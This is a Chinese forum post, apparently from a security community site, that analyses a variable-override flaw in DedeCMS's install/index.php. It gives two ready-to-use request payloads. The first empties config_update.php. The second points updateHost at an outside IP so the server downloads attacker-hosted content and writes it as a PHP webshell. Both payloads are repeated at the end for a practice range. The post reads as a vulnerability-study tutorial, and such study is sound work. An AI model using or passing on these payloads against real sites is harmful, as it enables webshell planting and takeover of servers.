该漏洞的原理是利用变量覆盖实现上传php马
源码下载地址: http://lp.downcode.com/j_12/j_12898_DedeCms.rar
注意 : 安装之后不要访问后台(/uploads/dede/)访问后台会自动修改漏洞文件类型以及源码中的变量
如果你的文件是\uploads\install\index.php.bak 就要重装或者改文件后缀才能复现
漏洞url: uploads/install/index.php
29行这里有变量覆盖
代码大意是将GET post cookie 传过来的参数建值分离第一次循环将_GET 传给$_request 在进入下一个循环将$_request中的key作为变量 value作为变量的值
RunMagicQuotes()是用来防御sql注入的所以不用理会
翻到最后发现当$step=11 时候会进行一个文件读取写入的操作
该代码应该是更新cms的功能
require_once(‘../data/admin/config_update.php’);
$rmurl = $updateHost.”dedecms/demodata.{$s_lang}.txt”;
$sql_content = file_get_contents($rmurl); $fp = fopen($install_demo_name,’w’); if(fwrite($fp,$sql_content)) echo ‘ <font color="green">[√]</font> 存在(您可以选择安 装进行体验)’;
else
echo ‘ <font color="red">[×]</font> 远程获取失败’;
unset($sql_content);
fclose($fp);
exit();
代码大意是先包含../data/admin/config_update.php文件
config_update.php文件中有更新cms的地址信息($updateHost)
$rmurl是更新cms的远程url
$sql_content =file_get_contents($rmurl);
访问$rmurl并将结果赋值给$sql_content
$fp = fopen($install_demo_name,’w’);
打开文件并赋予写入权限 $install_demo_name为文件路径可以用相对路径
if(fwrite($fp,$sql_content))
fwrite()是个文件写入的函数将$sql_content写入$fp 成功写入返回true失败返回false
后面两个函数是用来释放资源的不用管
攻击思路 我们可以通过变量覆盖控制要写入的文件地址以及要写入的payloads
首先传参step=11让代码执行到这里
发现访问不到 追踪代码
file_exists($insLockfile) 判断文件是否存在是为了防止恶意安装的 因为这是个变量所以直接覆盖
代码可以执行到
在这里我们可以控制要写入的文件路径但没办法控制写入的内容
$updateHost在/data/admin/config_update.php 里我们没办法覆盖
但是我们可以清空他
将$install_demo_name 改为../data/admin/config_update.php ($install_demo_name 是打开的文件路径)
由于$sql_content没有值所以config_update.php会被清空 ($sql_content 是访问远程url所获得的因为他所访问的url没有值返回所以他是空的)
构造payload : /install/index.php?step=11&insLockfile=1&install_demo_name=../data/admin/config_update.php
文件被清空这样我们就可以控制$updateHost
这是要远程访问的地址: $rmurl= $updateHost.”dedecms/demodata.{$s_lang}.txt
$s_lang是 utf-8
dedecms/demodata.utf-8.txt 写死的直接配置服务器
构造payload: /install/index.php?step=11&insLockfile=1&install_demo_name=../1.php&updateHost=http://103.97.3.200/
访问我的小马
直接上靶场
/install/index.php?step=11&insLockfile=1&install_demo_name=../data/admin/config_update.php
/install/index.php?step=11&insLockfile=1&install_demo_name=../1.php&updateHost=http://103.97.3.200/
第一次写文章因为看别人写的是真的坑 如有不当之处欢迎指点哈
用户名 | 金币 | 积分 | 时间 | 理由 |
---|---|---|---|---|
veek | 100.00 | 0 | 2020-11-09 09:09:22 | 一个受益终生的帖子~~ |
打赏我,让我更有动力~
© 2016 - 2024 掌控者 All Rights Reserved.